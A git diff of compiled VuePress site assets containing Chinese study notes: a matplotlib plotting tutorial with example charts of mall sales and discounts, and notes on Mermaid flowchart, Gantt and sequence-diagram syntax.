fontsize 用来指定图例中的文本使用的字号 可以是表示绝对大小的整数,实数或表示相对大小的字符串. facecolor edgecolor shadow framealpha title handles labels 图例的名称 能够覆盖在plt.plot( )中label参数值 例1:给三角函数图加图例 import matplotlib. pyplot as plt
+import numpy as np
+
+plt. rcParams[ 'font.family' ] = [ 'SimHei' ]
+plt. rcParams[ 'axes.unicode_minus' ] = False
+
+a1 = np. linspace( - 2 * np. pi, 2 * np. pi)
+b1 = np. sin( a1)
+c1 = np. cos( a1)
+plt. title( 'sin---cos 曲线图' )
+plt. plot( a1, c1)
+plt. plot( a1, b1)
+plt. legend( [ 'cosx' , 'sinx' ] , loc= 3 )
+plt. show( )
+
+
给四个子图分别添加图例 import matplotlib. pyplot as plt
+import numpy as np
+
+plt. rcParams[ 'font.family' ] = [ 'SimHei' ]
+plt. rcParams[ 'axes.unicode_minus' ] = False
+
+a1 = np. linspace( - 2 * np. pi, 2 * np. pi)
+b1 = np. sin( a1)
+c1 = np. cos( a1)
+d1 = 2 * a1 + 4
+e1 = a1 ** 2 + 4 * a1 + 3
+
+plt. figure( figsize= ( 8 , 4 ) )
+plt. suptitle( 'Figuer 标题' , fontsize= 14 )
+
+plt. subplot( 2 , 2 , 1 )
+plt. title( 'sin(x)' )
+plt. plot( a1, b1)
+plt. legend( [ 'sinx' ] )
+plt. subplot( 2 , 2 , 2 )
+plt. title( 'coswe' )
+plt. plot( a1, c1)
+plt. legend( [ 'cosx' ] )
+plt. subplot( 223 )
+plt. title( '直线' )
+plt. plot( a1, d1)
+plt. legend( [ 'straight lines' ] , edgecolor= 'r' )
+plt. subplot( 224 )
+plt. title( '二次函数' )
+plt. plot( a1, e1)
+plt. tight_layout( 1 , 3 , 3 )
+plt. show( )
+
+
`,14),C=s(` 保存与显示图 保存: savefig( fname, dpi= None )
+
matplotlib文件保存有格式要求,当输入一个错误的格式如.bmp,系统会显示错误,并提示其支持的格式:ValueError: Format 'bmp' is not supported ( supported formats: eps, jpeg, jpg, pdf, pgf, png, ps, raw, rgba, svg, svgz, tif, tiff)
+
实例 import matplotlib. pyplot as plt
+import numpy as np
+import os
+
+file_path = os. path. abspath( os. path. join( os. path. dirname( __file__) , '123.png' ) )
+
+plt. rcParams[ 'font.family' ] = [ 'SimHei' ]
+plt. rcParams[ 'axes.unicode_minus' ] = False
+a1 = np. linspace( - 2 * np. pi, 2 * np. pi)
+b1 = np. sin( a1)
+c1 = np. cos( a1)
+d1 = 2 * a1 + 4
+e1 = a1 ** 2 + 4 * a1 + 3
+plt. figure( figsize= ( 8 , 4 ) )
+plt. suptitle( 'Figuer 标题' , fontsize= 14 )
+
+plt. subplot( 2 , 2 , 1 )
+plt. title( 'sin(x)' )
+plt. plot( a1, b1)
+plt. legend( [ 'sinx' ] )
+plt. subplot( 2 , 2 , 2 )
+plt. title( 'coswe' )
+plt. plot( a1, c1)
+plt. legend( [ 'cosx' ] )
+plt. subplot( 223 )
+plt. title( '直线' )
+plt. plot( a1, d1)
+plt. legend( [ 'straight lines' ] , edgecolor= 'r' )
+plt. subplot( 224 )
+plt. title( '二次函数' )
+plt. plot( a1, e1)
+plt. tight_layout( 1 , 3 , 3 )
+
+
+plt. savefig( file_path)
+plt. show( )
+
+
显示 折线图:plot()实例 折线图比较适合描述和比较
多组数据随时间变化的趋势。 或者一组数据对另外一组数据的依赖程度。 使用方法
matplotlib.pyplot中的plot()函数。 相关参数可以设置:
折线图上图上端点的位置,标记符号的形状,大小和颜色以及线条的颜色,线型等样式。 pyplot绘图
1.生成源始数据,导入数据。 2.设置标签和坐标轴刻度 3.设置标题 4.确定绘制的图形形状。 5.设置图例 7.保存图 8.显示图 plot()
函数
plot( x轴, y轴, 折线形状颜色标记,设置标签显示信息)
+
例1 商场优惠 某商品进价49元,售价75元,现在商场新品上架搞促销活动, 顾客每多买一件就给优惠1%, 对于商场而言 对于顾客来说 虽然买的越多单价越低,但是消费总金额却是越来越多的 并且购买太多也会因为用不完而导致过期不得不丢弃造成浪费。 现在要求计算并使用折线图可视化 顾客购买数量num与商家收益、顾客总消费以及顾客省钱情况的关系 import matplotlib. pyplot as plt
+import numpy as np
+
+plt. rcParams[ 'font.family' ] = [ 'simhei' ]
+
+num = np. array( range ( 1 , 31 ) )
+
+price = 75
+wnum = np. array( [ price * ( 1 - 0.01 * i) for i in num] )
+
+earnnum = ( wnum - 49 ) * num
+
+cusprice = wnum * num
+
+cusnum = num * ( price - wnum)
+plt. xlabel( '顾客购买数量(件)' )
+plt. ylabel( '金额(元)' )
+plt. plot( num, earnnum)
+plt. plot( num, cusprice)
+plt. plot( num, cusnum)
+plt. title( '数量--金额关系图' )
+plt. legend( [ '商家收益' , '顾客总消费' , '顾客省钱' ] )
+plt. show( )
+
+
修改线的形状 可以在plot中增加参数 修改线的形状: '-' 实线 '--' 虚线 '-.' 点线 ':' 点虚线 '.' 点 ','像素 'o' 圆形 'v' 朝下的三角形 '^' 朝上的三角形 's' 正方形 '*' 五角形 修改线的颜色: ‘b’蓝色 ‘g’绿色 ‘r’红色 ‘c’青色 ‘m’品红 ‘y’黄色、 ‘k’黑色 ‘w’ 白色 加入图例的标签 import matplotlib. pyplot as plt
+import numpy as np
+
+plt. rcParams[ 'font.family' ] = [ 'simhei' ]
+num = np. array( range ( 1 , 31 ) )
+
+price = 75
+wnum = np. array( [ price * ( 1 - 0.01 * i) for i in num] )
+earnnum = ( wnum - 49 ) * num
+cusprice = wnum * num
+cusnum = num * ( price - wnum)
+plt. xlabel( '顾客购买数量(件)' )
+plt. ylabel( '金额(元)' )
+plt. plot( num, earnnum, '--' , label= '商家收益' )
+plt. plot( num, cusprice, label= '顾客总消费' )
+plt. plot( num, cusnum, ':' , label= '顾客省钱' )
+plt. title( '数量--金额关系图' )
+
+plt. legend( )
+plt. show( )
+
+
散点图实战 例1:折线图重绘为散点图 结合折线图和散点图,重新绘制例9-2中要求的图形。 使用plot()函数依次连接若干端点绘制折线图 使用scatter()函数在指定的端点处绘制散点图 结合以上两个函数,可以实现例9-2同样的效果图。 为了稍做区分,在本例中把端点符号设置为蓝色三角形。 `,30),N=s(` 例2:商场信号强度 某商场开业三个月后,有顾客反应商场一楼部分位置的手机信号不好,个别收银台有时无法正常使用微信支付或支付宝,商场内也有些位置无法正常使用微信。 为此,商场安排工作人员在不同位置对手机信号强度进行测试以便进一步提高服务质量和用户体验 测试数据保存于文件D:\\服务质量保证\\商场一楼手机信号强度.txt
中 文件中每行使用逗号分隔的三个数字分别表示商场内一个位置的x、y坐标和信号强度 其中x、y坐标值以商场西南角为坐标原点且向东为x正轴(共150米)、向北为y正轴(共30米) 信号强度以0表示无信号、100表示最强。 编写程序,使用散点图对该商场一楼所有测量位置的手机信号强度进行可视化 既可以直观地发现不同位置信号的强度以便分析原因 也方便观察测试位置的分布是否合理。 在散点图中 使用横轴表示x坐标位置 纵轴表示y坐标位置 使用五角星标记测量位置 五角星大小表示信号强度 五角星越大表示信号越强,反之表示信号越弱。 为了获得更好的可视化效果,信号强度 高于或等于70的位置使用绿色五角星 低于70且高于或等于40的使用蓝色五角星 低于40的位置使用红色五角星。 例3:商场优惠折线图散点图结合 import matplotlib. pyplot as plt
+import numpy as np
+
+plt. rcParams[ 'font.family' ] = [ 'simhei' ]
+num = np. array( range ( 1 , 31 ) )
+
+price = 75
+wnum = np. array( [ price * ( 1 - 0.01 * i) for i in num] )
+earnnum = ( wnum - 49 ) * num
+cusprice = wnum * num
+cusnum = num * ( price - wnum)
+plt. xlabel( '顾客购买数量(件)' )
+plt. ylabel( '金额(元)' )
+plt. plot( num, earnnum, '--' , label= '商家收益' )
+plt. plot( num, cusprice, label= '顾客总消费' )
+plt. plot( num, cusnum, ':' , label= '顾客省钱' )
+plt. title( '数量--金额关系图' )
+
+maxearn = max ( earnnum)
+
+pos = list ( earnnum) . index( maxearn)
+
+plt. scatter( pos + 1 , maxearn, marker= '*' , color= 'r' , s= 240 )
+plt. legend( )
+plt. show( )
+
+
标注数字 如何实现标注annotate( s= 'str' ,
+ xy= ( x, y) ,
+ xytext= ( l1, l2) ,
+ arrowprops= dict ( ) )
+
s:标注的文本 xy=(横坐标,纵坐标) 箭头尖端 xytext=(横坐标,纵坐标) 文字的坐标 arrowprops= {facecolor= '颜色',shrink = '数字' ,arrowstyle=''} import matplotlib. pyplot as plt
+import numpy as np
+
+plt. rcParams[ 'font.family' ] = [ 'simhei' ]
+num = np. array( range ( 1 , 31 ) )
+
+price = 75
+wnum = np. array( [ price * ( 1 - 0.01 * i) for i in num] )
+earnnum = ( wnum - 49 ) * num
+cusprice = wnum * num
+cusnum = num * ( price - wnum)
+plt. xlabel( '顾客购买数量(件)' )
+plt. ylabel( '金额(元)' )
+plt. plot( num, earnnum, '--' , label= '商家收益' )
+plt. plot( num, cusprice, label= '顾客总消费' )
+plt. plot( num, cusnum, ':' , label= '顾客省钱' )
+plt. title( '数量--金额关系图' )
+
+maxearn = max ( earnnum)
+
+pos = list ( earnnum) . index( maxearn)
+
+plt. scatter( pos + 1 , maxearn, marker= '*' , color= 'r' , s= 240 )
+plt. annotate( maxearn, xy= ( pos + 1 , maxearn + 40 ) ,
+ xytext= ( pos, maxearn + 300 ) ,
+ arrowprops= dict ( facecolor= 'blue' ,
+ shrink= 5 ,
+ )
+ )
+plt. legend( )
+plt. show( )
+
+
Matplotlib数据可视化 数据可视化的误区 没有明确可视化的目标 通过特殊图形设置误导受众 选择过于“花哨”的图形却忽略了可视化的本质 缺乏根据信息表达目标选择“最佳”图形的意识 信息过载 可视化方式 趋势 趋势指多组数据随时间变化的发展趋势,或者一组数据对另个一组数据的依赖程度。 例如走势的高低、状态的变化好坏,按周的订单量趋势、按月的转化率趋势等等通常用于按时间发展的眼光来评估事物的场景。 常用的可视化图形是折线图 (plot ()) 在数据项较少 的情况下,也可以使用柱形图 (bar ())。 `,24),S=s(`数据项比较少时用柱状图比较清晰,但是当数据项多时柱状图会显得并排会显得比较挤 示例:商场部门业绩 import numpy as np
+import matplotlib. pyplot as plt
+
+plt. rcParams[ 'font.family' ] = [ 'simhei' ]
+
+month = np. array( range ( 1 , 13 ) )
+man_d = [ 51 , 32 , 58 , 57 , 30 , 46 , 38 , 38 , 40 , 53 , 58 , 50 ]
+woman_d = [ 70 , 30 , 48 , 73 , 82 , 80 , 43 , 25 , 30 , 49 , 79 , 60 ]
+food_d = [ 60 , 40 , 46 , 50 , 57 , 76 , 70 , 33 , 70 , 61 , 49 , 45 ]
+cos_d = [ 110 , 75 , 133 , 80 , 83 , 95 , 87 , 89 , 96 , 88 , 86 , 89 ]
+gold_d = [ 143 , 100 , 89 , 90 , 78 , 129 , 100 , 97 , 108 , 152 , 96 , 87 ]
+
+mo = [ str ( i) + '月' for i in range ( 1 , 13 ) ]
+
+plt. figure( figsize= ( 10 , 5 ) )
+plt. title( '某商场各部门业绩(万元)' )
+plt. xticks( month, mo)
+plt. xlabel( '月份' )
+plt. ylabel( '营业额(万元)' , labelpad= 12 )
+
+plt. plot( month, food_d, linestyle= '--' , color= 'blue' )
+plt. plot( month, man_d, color= 'r' )
+plt. plot( month, woman_d, color= 'c' , linestyle= ':' )
+plt. plot( month, cos_d, color= 'y' )
+plt. plot( month, gold_d, linestyle= '-.' )
+
+plt. legend( [ '餐饮' , '男装' , '女装' , '化妆品' , '金银首饰' ] )
+
+plt. show( )
+
+
对比 对比指不同事物之间或同一事物在不同时间下的优劣等的对照,能够比较清晰地反映数据的差异,一般情况下用来反映分类项目之间的比较。 例如商场中不同部门的月业绩情况,某课程的成绩的分布情况,新用户与老用户的客单价对比、不同广告来源渠道的订单量和利润率对比等。 常用的可视化图形 对比数据较少 时选 而多个对象的多个指标的同时对比可用 `,8),q=s(` 示例:商场男女装销售对比 import numpy as np
+import matplotlib. pyplot as plt
+
+plt. rcParams[ 'font.family' ] = [ 'simhei' ]
+
+month = np. array( range ( 1 , 13 ) )
+man_d = [ 51 , 32 , 58 , 57 , 30 , 46 , 38 , 38 , 40 , 53 , 58 , 50 ]
+woman_d = [ 70 , 30 , 48 , 73 , 82 , 80 , 43 , 25 , 30 , 49 , 79 , 60 ]
+mo = [ str ( i) + '月' for i in range ( 1 , 13 ) ]
+plt. figure( figsize= ( 10 , 5 ) )
+plt. xticks( month, mo)
+plt. xlabel( '月份' )
+plt. ylabel( '营业额(万元)' , labelpad= 12 )
+plt. bar( month, man_d, 0.8 , color= '#FF00FF' , label= '男装' , )
+plt. bar( month, woman_d, color= 'lightskyblue' , label= '女装' )
+plt. title( '某商场各部门业绩(万元)' )
+plt. legend( )
+plt. show( )
+
+
`,3),H=s(` 图形美化-"倒影"柱状图 import numpy as np
+import matplotlib. pyplot as plt
+
+plt. rcParams[ 'font.family' ] = [ 'simhei' ]
+plt. rcParams[ 'axes.unicode_minus' ] = False
+
+month = np. array( range ( 1 , 13 ) )
+man_d = [ 51 , 32 , 58 , 57 , 30 , 46 , 38 , 38 , 40 , 53 , 58 , 50 ]
+
+woman_d = np. array( [ 70 , 30 , 48 , 73 , 82 , 80 , 43 , 25 , 30 , 49 , 79 , 60 ] )
+mo = [ str ( i) + '月' for i in range ( 1 , 13 ) ]
+plt. figure( figsize= ( 10 , 5 ) )
+plt. xticks( month, mo)
+plt. xlabel( '月份' )
+plt. ylabel( '营业额(万元)' , labelpad= 12 )
+plt. bar( month, man_d, 0.8 , color= '#FF00FF' , label= '男装' , )
+plt. bar( month, - woman_d, color= 'lightskyblue' , label= '女装' )
+plt. title( '某商场各部门业绩(万元)' )
+plt. legend( )
+plt. show( )
+
+
美化-并列柱状图 import numpy as np
+import matplotlib. pyplot as plt
+
+plt. rcParams[ 'font.family' ] = [ 'simhei' ]
+plt. rcParams[ 'axes.unicode_minus' ] = False
+
+month = np. array( range ( 1 , 13 ) )
+man_d = [ 51 , 32 , 58 , 57 , 30 , 46 , 38 , 38 , 40 , 53 , 58 , 50 ]
+woman_d = [ 70 , 30 , 48 , 73 , 82 , 80 , 43 , 25 , 30 , 49 , 79 , 60 ]
+mo = [ str ( i) + '月' for i in range ( 1 , 13 ) ]
+plt. figure( figsize= ( 10 , 5 ) )
+plt. xticks( month, mo)
+plt. xlabel( '月份' )
+plt. ylabel( '营业额(万元)' , labelpad= 12 )
+plt. bar( month - 0.4 , man_d, 0.4 , color= '#FF00FF' , label= '男装' , )
+plt. bar( month, woman_d, 0.4 , color= 'lightskyblue' , label= '女装' )
+plt. title( '某商场各部门业绩(万元)' )
+plt. legend( )
+plt. show( )
+
+
美化:添加注释文字 import numpy as np
+import matplotlib. pyplot as plt
+
+plt. rcParams[ 'font.family' ] = [ 'simhei' ]
+plt. rcParams[ 'axes.unicode_minus' ] = False
+
+month = np. array( range ( 1 , 13 ) )
+man_d = [ 51 , 32 , 58 , 57 , 30 , 46 , 38 , 38 , 40 , 53 , 58 , 50 ]
+woman_d = [ 70 , 30 , 48 , 73 , 82 , 80 , 43 , 25 , 30 , 49 , 79 , 60 ]
+mo = [ str ( i) + '月' for i in range ( 1 , 13 ) ]
+plt. figure( figsize= ( 10 , 5 ) )
+plt. xticks( month, mo)
+plt. xlabel( '月份' )
+plt. ylabel( '营业额(万元)' , labelpad= 12 )
+plt. bar( month - 0.4 , man_d, 0.4 , color= '#FF00FF' , label= '男装' , )
+plt. bar( month, woman_d, 0.4 , color= 'lightskyblue' , label= '女装' )
+plt. title( '某商场各部门业绩(万元)' )
+plt. legend( )
+
+for i, j in zip ( month, man_d) :
+ plt. text( i - 0.4 , j/ 2 , j, ha= 'center' )
+
+
+
+
+
+
+for i, j in zip ( month, woman_d) :
+ plt. text( i - 0.1 , j - 10 , j)
+plt. show( )
+
+
for i, j in zip ( month, man_d) :
+ plt. text( i - 0.4 , j/ 2 , j, ha= 'center' )
+
j i-0.4 j/2 ha = 'center' i-0.4作为文字的横向中点,文字/数值均匀分布在i-0.4两侧 运行截图
示例2:商场各部门业绩 import numpy as np
+import matplotlib. pyplot as plt
+
+plt. rcParams[ 'font.family' ] = [ 'simhei' ]
+
+month = np. array( range ( 1 , 13 ) )
+man_d = [ 51 , 32 , 58 , 57 , 30 , 46 , 38 , 38 , 40 , 53 , 58 , 50 ]
+woman_d = [ 70 , 30 , 48 , 73 , 82 , 80 , 43 , 25 , 30 , 49 , 79 , 60 ]
+re_d = [ 60 , 40 , 46 , 50 , 57 , 76 , 70 , 33 , 70 , 61 , 49 , 45 ]
+hua_d = [ 110 , 75 , 133 , 80 , 83 , 95 , 87 , 89 , 96 , 88 , 86 , 89 ]
+gl_d = [ 143 , 100 , 89 , 90 , 78 , 129 , 100 , 97 , 108 , 152 , 96 , 87 ]
+mo = [ str ( i) + '月' for i in range ( 1 , 13 ) ]
+plt. figure( figsize= ( 10 , 5 ) )
+plt. xticks( month, mo)
+plt. xlabel( '月份' )
+plt. ylabel( '营业额(万元)' , labelpad= 12 )
+plt. bar( month - 0.1 , re_d, 0.1 )
+plt. bar( month, man_d, 0.1 , color= 'r' )
+plt. bar( month + 0.1 , woman_d, 0.1 , color= 'b' )
+plt. bar( month + 0.2 , hua_d, 0.1 )
+plt. bar( month + 0.3 , gl_d, 0.1 )
+plt. title( '某商场各部门业绩(万元)' )
+plt. legend( [ '餐饮' , '男装' , '女装' , '化妆品' , '金银首饰' ] )
+plt. show( )
+
+
运行截图显得比较挤,感觉上没有折线图美观 并且数据项多了之后同一组数据的变化趋势就不明显了 单作对比数据实用的话这样画柱状图还好 但是用折线图的话还能同时反映每组数据的变化趋势 转化:条形图:barh() import numpy as np
+import matplotlib. pyplot as plt
+
+plt. rcParams[ 'font.family' ] = [ 'simhei' ]
+
+month = np. array( range ( 1 , 13 ) )
+man_d = [ 51 , 32 , 58 , 57 , 30 , 46 , 38 , 38 , 40 , 53 , 58 , 50 ]
+woman_d = [ 70 , 30 , 48 , 73 , 82 , 80 , 43 , 25 , 30 , 49 , 79 , 60 ]
+re_d = [ 60 , 40 , 46 , 50 , 57 , 76 , 70 , 33 , 70 , 61 , 49 , 45 ]
+hua_d = [ 110 , 75 , 133 , 80 , 83 , 95 , 87 , 89 , 96 , 88 , 86 , 89 ]
+gl_d = [ 143 , 100 , 89 , 90 , 78 , 129 , 100 , 97 , 108 , 152 , 96 , 87 ]
+mo = [ str ( i) + '月' for i in range ( 1 , 13 ) ]
+
+plt. figure( figsize= ( 10 , 6 ) )
+plt. ylim( 0 , 13 )
+plt. yticks( month, mo)
+plt. ylabel( '月份' )
+plt. xlabel( '营业额(万元)' , labelpad= 12 )
+plt. barh( month - 0.2 , re_d, 0.2 , color= 'pink' )
+plt. barh( month, man_d, 0.2 , color= 'r' )
+plt. barh( month + 0.2 , woman_d, 0.2 , color= 'c' )
+plt. barh( month + 0.4 , hua_d, 0.2 , color= 'yellow' )
+plt. barh( month + 0.6 , gl_d, 0.2 , color= 'blue' )
+plt. title( '某商场各部门业绩(万元)' )
+plt. legend( [ '餐饮' , '男装' , '女装' , '化妆品' , '金银首饰' ] )
+plt. show( )
+
+
结构 结构也可以称为成分、构成或内容组成,指的是一个整体内有哪些元素组成,以及各个元素的影响因素或程度的大小。 例如不同品类的利润占比、不同类型客户的销售额占比、总体中各组成部分所占比重等。 常用的可视化图形,一般使用饼图(圆形图)及其变体, `,24),I=s(` 示例1:成绩分段 import matplotlib. pyplot as plt
+import random
+
+plt. rcParams[ 'font.family' ] = [ 'simhei' ]
+
+
+stu_s = [ random. randint( 40 , 100 ) for i in range ( 30 ) ]
+grade = { '0-49' : 0 ,
+ '50-59' : 0 ,
+ '60-69' : 0 ,
+ '70-79' : 0 ,
+ '80-89' : 0 ,
+ '90-100' : 0 }
+
+plt. figure( figsize= ( 10 , 6 ) )
+plt. title( '学生成绩分段统计图' )
+plt. ylabel( '学生成绩分段人数' )
+plt. xlabel( '分数段' )
+
+for i in stu_s:
+ if i <= 49 :
+ s = '0-49'
+ grade[ s] = grade. get( s, 0 ) + 1
+ elif i <= 59 :
+ s = '50-59'
+ grade[ s] = grade. get( s, 0 ) + 1
+ elif i <= 69 :
+ s = '60-69'
+ grade[ s] = grade. get( s, 0 ) + 1
+ elif i <= 79 :
+ s = '70-79'
+ grade[ s] = grade. get( s, 0 ) + 1
+ elif i <= 89 :
+ s = '80-89'
+ grade[ s] = grade. get( s, 0 ) + 1
+ else :
+ s = '90-100'
+ grade[ s] = grade. get( s, 0 ) + 1
+
+gr1_name = list ( )
+gr1_data = list ( )
+for i in grade:
+ gr1_name. append( i)
+ gr1_data. append( grade[ i] )
+gr1 = range ( len ( gr1_name) )
+plt. xticks( gr1, gr1_name)
+plt. bar( gr1_name, gr1_data, 0.6 , color= 'c' )
+for x, y in zip ( gr1_name, gr1_data) :
+ plt. text( x, y + 0.1 , str ( y) )
+
+plt. show( )
+
+
+
`,3);function T(X,L){const t=l("ExternalLinkIcon");return c(),u("div",null,[r,k,d,m,b,n("ul",null,[n("li",null,[n("a",v,[p("中文文档"),o(t)])])]),g,a(" ![结构示意图](../../res/img/BigDataMicroMajor/Python/Pyplot绘图结构示意图.png) "),h,n("ul",null,[n("li",null,[n("a",y,[p("原文链接"),o(t)])]),E,f,x]),a(" ![rcParams](../../res/img/BigDataMicroMajor/Python/rcParams参数.png) "),n("ul",null,[n("li",null,[n("a",B,[p("matplotlib命令与格式:参数配置文件与参数配置"),o(t)])])]),w,_,A,a(" - ![运行截图](../../res/img/BigDataMicroMajor/Python/11.26-rcParams错误使用.png) "),P,a(" ![](../../res/img/BigDataMicroMajor/Python/子图位置分布.png) "),F,n("ul",null,[n("li",null,[n("a",D,[p("原文链接"),o(t)])]),M,j]),z,a(" ![](../../res/img/BigDataMicroMajor/Python/图例例2.png) "),C,a(" ![图](../../res/img/BigDataMicroMajor/Python/11.26-散点图实例1.png) "),N,a(" ![折线图与柱形图](../../res/img/BigDataMicroMajor/Python/折线图与柱形图.png) "),S,a(" ![](../../res/img/BigDataMicroMajor/Python/绘图-对比-1.png) "),a(" ![](../../res/img/BigDataMicroMajor/Python/绘图-对比-2.png) "),a(" ![](../../res/img/BigDataMicroMajor/Python/绘图-对比-3-雷达图.png) "),q,a(" ![](../../res/img/BigDataMicroMajor/Python/商场各部门业绩1.png) "),H,a(" ![](../../res/img/BigDataMicroMajor/Python/绘图-结构-1.png) "),I])}const W=e(i,[["render",T],["__file","Matplotlib.html.vue"]]);export{W as default};
diff --git a/assets/Mermaid.html-44ce1b0a.js b/assets/Mermaid.html-44ce1b0a.js
new file mode 100644
index 0000000000..abed2f59bb
--- /dev/null
+++ b/assets/Mermaid.html-44ce1b0a.js
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-45ea4ca2","path":"/NoteTools/Mermaid.html","title":"Mermaid","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"结点内文字换行","slug":"结点内文字换行","link":"#结点内文字换行","children":[]},{"level":2,"title":"限制流程图大小","slug":"限制流程图大小","link":"#限制流程图大小","children":[]},{"level":2,"title":"显示支持","slug":"显示支持","link":"#显示支持","children":[]},{"level":2,"title":"甘特图","slug":"甘特图","link":"#甘特图","children":[]},{"level":2,"title":"流程图","slug":"流程图","link":"#流程图","children":[{"level":3,"title":"流程图整体方向","slug":"流程图整体方向","link":"#流程图整体方向","children":[]},{"level":3,"title":"结点形状","slug":"结点形状","link":"#结点形状","children":[]},{"level":3,"title":"连接线形状","slug":"连接线形状","link":"#连接线形状","children":[]},{"level":3,"title":"语法冲突的特殊字符","slug":"语法冲突的特殊字符","link":"#语法冲突的特殊字符","children":[]},{"level":3,"title":"子图","slug":"子图","link":"#子图","children":[]}]},{"level":2,"title":"时序图","slug":"时序图","link":"#时序图","children":[]}],"git":{"createdTime":1667840449000,"updatedTime":1677546919000,"contributors":[{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":4},{"name":"233Official","email":"ayusummer233@qq.com","commits":3}]},"readingTime":{"minutes":3.76,"words":1127},"filePathRelative":"NoteTools/Mermaid.md","localizedDate":"2022年11月7日","excerpt":""}');export{e as data};
diff --git a/assets/Mermaid.html-579d71e7.js b/assets/Mermaid.html-579d71e7.js
new file mode 100644
index 0000000000..348d6ab9a5
--- /dev/null
+++ b/assets/Mermaid.html-579d71e7.js
@@ -0,0 +1,89 @@
+import{_ as r}from"./plugin-vue_export-helper-c27b6911.js";import{r as s,o as t,c,d as i,b as e,e as n,f as d}from"./app-880c6425.js";const o={},v=d(` Mermaid 结点内文字换行 graph LR;
+a-->b[2<br>3<br>3]
+
`,5),u=d(` 限制流程图大小 绘图时在当前方向上绘制的结点数量及文字比较多那么篇幅会无限扩大, 目前没有找到特别好的限制区域大小的方法 不过通常编辑文档时的界面左右大小适应屏幕左右宽度, 上下可以滚动, 那么可以指定 Mermaid 图左右方向绘制以避免图像过长 显示支持 VSCode 需要安装扩展-Markdown Preview Mermaid Support 以预览 Mermaid 图像 甘特图 gantt
+dateFormat YYYY-MM-DD
+title 甘特图
+excludes weekdays 2014-01-10
+
+Completed task : des1, 2014-01-06,2014-01-08
+Active task : des2, 2014-01-09, 2d
+Future task : des3, after des2, 5d
+Future task2 : des4, after des3, 5d
+
`,9),m=e("hr",null,null,-1),h=e("h2",{id:"流程图",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#流程图","aria-hidden":"true"},"#"),n(" 流程图")],-1),b={href:"https://mermaid-js.github.io/mermaid/#/flowchart?id=graph",target:"_blank",rel:"noopener noreferrer"},g=d(`flowchart TD
+ Start --> Stop
+
`,1),p=d('-->
实线箭头
流程图整体方向 TB
- top to bottomTD
- top-down/ same as top to bottomBT
- bottom to topRL
- right to leftLR
- left to right 结点形状 ',7),E={href:"https://mermaid-js.github.io/mermaid/#/flowchart?id=node-shapes",target:"_blank",rel:"noopener noreferrer"},A=d(`flowchart LR
+ id1(round edges)
+ id2([stadium-shaped])
+ id3[[subroutine shape]]
+ id4[(A node in a cylindrical shape)]
+ id5((A node in the form of a circle))
+ id6>A node in an asymmetric shape]
+ id7{A node rhombus}
+ id8{{A hexagon node}}
+ id9[/Parallelogram/]
+ id10[\\Parallelogram alt\\]
+ id11[/Trapezoid\\]
+
`,1),x=e("hr",null,null,-1),B=e("h3",{id:"连接线形状",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#连接线形状","aria-hidden":"true"},"#"),n(" 连接线形状")],-1),C={href:"https://mermaid-js.github.io/mermaid/#/flowchart?id=links-between-nodes",target:"_blank",rel:"noopener noreferrer"},f=d(`flowchart LR
+ A --> B
+ A --实线单箭头--> B
+ A -->|实线单箭头|C
+
+ B --- C
+ B --实线--- C
+ B ---|实线|D
+
+ C -.-|虚线|D
+ C -.->|虚线单箭头|D
+
+ D ==> E
+ D ==>|粗实线单箭头|E
+
+ E --> F & G --> H
+
+ H & I --> J & K
+
+ L --o|实线圆头|M
+ M --x|实线x头|N
+
+ N <--> |双向箭头|O
+ O o--o P
+ P x--x Q
+
+ R -------|横线越多越长| S
+
`,1),_=e("hr",null,null,-1),k=e("h3",{id:"语法冲突的特殊字符",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#语法冲突的特殊字符","aria-hidden":"true"},"#"),n(" 语法冲突的特殊字符")],-1),w={href:"https://mermaid-js.github.io/mermaid/#/flowchart?id=special-characters-that-break-syntax",target:"_blank",rel:"noopener noreferrer"},S=d(`flowchart LR
+ A["结点内使用(括号)"]
+
`,1),F=d(` 子图 语法
:
subgraph title
+ graph definition
+end
+
示例
:
flowchart TB
+ c1-->a2
+ subgraph one
+ a1-->a2
+ end
+ subgraph two
+ b1-->b2
+ end
+ subgraph three
+ c1-->c2
+ end
+
`,6),T=e("hr",null,null,-1),L=e("h2",{id:"时序图",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#时序图","aria-hidden":"true"},"#"),n(" 时序图")],-1),M={href:"https://mermaid-js.github.io/mermaid/#/sequenceDiagram",target:"_blank",rel:"noopener noreferrer"},K={href:"https://blog.csdn.net/qq_37196887/article/details/112764646",target:"_blank",rel:"noopener noreferrer"},V=d(`sequenceDiagram
+participant C as Client.discard(9)
+participant S as Server.47660
+C ->> S: [SYN] 请求建立 TCP 连接
+S ->> C: [SYN ACK] 确认建立 TCP 连接
+C ->> S: [ACK] 确认收到确认建立 TCP 连接
+
+Note over C,S: ↑ 3 次握手
+
+loop 数据传输(不分片情况)
+C ->> S: [PSH ACK] 发送数据
+S ->> C: [ACK]确认接收数据
+end
+
+Note over C,S: ↓ 4 次挥手
+
+C ->> S: [FIN, ACK] 发起终止连接请求
+S ->> C: [ACK] 确认终止连接请求
+S ->> C: [FIN, ACK] 发起终止连接请求
+C ->> S: [ACK] 确认终止连接请求
+
`,1);function R(y,D){const a=s("Mermaid"),l=s("ExternalLinkIcon");return t(),c("div",null,[v,i(a,{id:"mermaid-69",code:"eJxLL0osyFDwCbLmStTVtUuKNrJJKrIzBhOxXACEvQhn"}),u,i(a,{id:"mermaid-102",code:"eJxLT8wrKeFKSSxJdcsvyk0sUVCIBAJdX19dFxeuksySnFSF51NmPO/c+XT2Pq7UiuSc0pTUYoXy1NTslMTKYgUjA0MTXQNDXUMDLi7n/NyCnNSS1BSFksTibAUFKwWgUkMduBoDMx0404LLMbkksywVqhQIwKqNkFRbAtkpXG6lJaVF6MqMdRQS00pSi6BaTFGUGcGVmSApA2oBKgMAqWVHzg=="}),m,h,e("blockquote",null,[e("p",null,[e("a",b,[n("Flowchart (mermaid-js.github.io)"),i(l)])])]),g,i(a,{id:"mermaid-113",code:"eJxLy8kvT85ILCpRCHHhUgCC4BIQR1fXDsjKL+ACAKoYCaM="}),p,e("blockquote",null,[e("p",null,[e("a",E,[n("Flowchart 